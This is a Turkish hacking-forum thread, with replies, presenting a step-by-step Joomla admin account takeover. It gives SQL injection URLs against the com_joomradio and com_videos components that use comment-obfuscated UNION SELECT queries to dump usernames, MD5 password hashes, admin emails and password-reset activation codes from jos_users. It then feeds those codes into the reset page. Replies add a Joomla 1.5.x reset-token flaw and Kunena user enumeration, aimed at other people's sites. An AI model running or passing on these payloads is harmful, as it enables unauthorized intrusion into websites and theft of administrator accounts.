Joomla Sitelerde Admin şifresi Sıfırlama - MD5

S.a Arklar Döküman Verildiyse Özür Dilerim..

Joomla sitelerin veritabanı mysql olduğu için user şifreleri md5 şeklinde kriptoludur. Kırılmayan bu admin şifrelerini sıfırlamaya yolunu bir arkadaştan buldum, burada paylaşmak istedim.

Kullanıcı adı ve Şifreleri bu şekilde öğreniriz.

Kod:

[B][B]http://localhost/index.php?view=display&option=com_joomradio&id=1+and+1=2/**/UniON/**/SeLeCT/**/0,GroUP_CoNCaT(username,0x3d,password),2,3,4,5,6,7,8,9,10/**/FROm/**/jos_users[/B][/B]

admin:d94236746886b37f57cba28145926c09

Ekrana bu şekilde bilgimiz geldi ve md5 çözülemiyor. Sırada admin mail adresini öğreniriz.

Kod:

[B][B]http://localhost/index.php?view=display&option=com_joomradio&id=1+and+1=2/**/UniON/**/SeLeCT/**/0,GroUP_CoNCaT(username,0x3d,email),2,3,4,5,6,7,8,9,10/**/FROm/**/jos_users[/B][/B]

admin:[email protected]

Ekranda admin in mail adresi de çıktı. şimdi aşağıdaki linke giriyoruz.

Kod:

[B][B]http://localhost/index.php?option=com_user&view=reset[/B][/B]

Şifre sıfırlama bölümünden maili yazıyoruz sonra aktivasyon kodu isteyecek şimdi maile yolladığı aktivasyon kodunu öğrenelim.

Kod:

[B][B]http://localhost/index.php?view=display&option=com_videos&id=3+and+1=2/**/UniON/**/SeLeCT/**/0,GroUP_CoNCaT(username,0x3d,activation),2,3,4,5,6,7,8,9,10/**/FROm/**/jos_users[/B][/B]

admin:aktivekodu aktivasyon kodunu böylece alıp şifreyi değiştirebiliriz artık.


Alıntı.

İnfinite konularını takip ediyorum çoğunlukla açıklayıcı bu benim işime yarar ama yeniler için karmaşık olmuş yinede emeğe saygı teşekkürler...

Undergod' Alıntı:

İnfinite konularını takip ediyorum çoğunlukla açıklayıcı bu benim işime yarar ama yeniler için karmaşık olmuş yinede emeğe saygı teşekkürler...

Genişletmek için tıkla ...

Bu İşe girenler İçin En basit Yöntemler Bunu Anlamayanlar Hack Yapmasın Bence.

hiçbir işe yaramıyor 403 forbitten hatası veriyor. böyle bir açık yok !

Döküman Benden Alıntı Lütfen Belirt.

arkadasım yanlıs anlama ama sunu solıyım senın verdıgın

index.php?option=com_user&view=reset&layout=confirm

su reset kodu joomla 1.5.x hepsi icin gecerli email bölümünü atlasak bile mysql acıgı yoksa hacklemek istedigimiz sitede senin paylastıgın su kod ile :

index.php?view=display&option=com_videos&id=3+and+1=2/**/UniON/**/SeLeCT/**/0,GroUP_CoNCaT(username,0x3d,activation),2,3,4,5,6,7,8,9,10/**/FROm/**/jos_users

adamın acıgını bulmus yanlız kapısında kalmıs gıbı oluruz. cunku token acıgı bulduk dıyelım admin kullanıcı ısmınıde su kodla eger forumu varsa joomlasında kurulu olan kunena olsa su sekılde bulduk desek:

/index.php?option=com_kunena&Itemid=0&func=userlist

admin kullanıcı ısmı bulundu sifre resetlemeyede acık token acıgıyla yanlız mysql acıgı yok ozaman napıcaz ?

bizden activasyon kodu istiyorsa ? bu acıgı kapatalı adamlar baya oldu tokenlı joomla busuru kullanan var ve karsısına bole bır sekılde cıkan bır sıte oldumu sıteyı ya pas gecer ya baska acıklar dener yada hackledıgı bır sıtenın serverında ıse yada şifresini cekmeye calısır :S

benım demek ıstedıgım bu kadar yolları asıp son cagre sıtede dedıgım gıbı olsa actıvasyon kodunu baska sekılde almanın bır yolu varmı? varsa tmm yoksa bedavaya ugrasıyoz bence

Çok Teşekkür Ederim Kardeşim Ancak Biraz Aşağıya Bakarsan Ben Bunu Videolu Şekilde Paylasdım Yinede Çok Teşekkurler...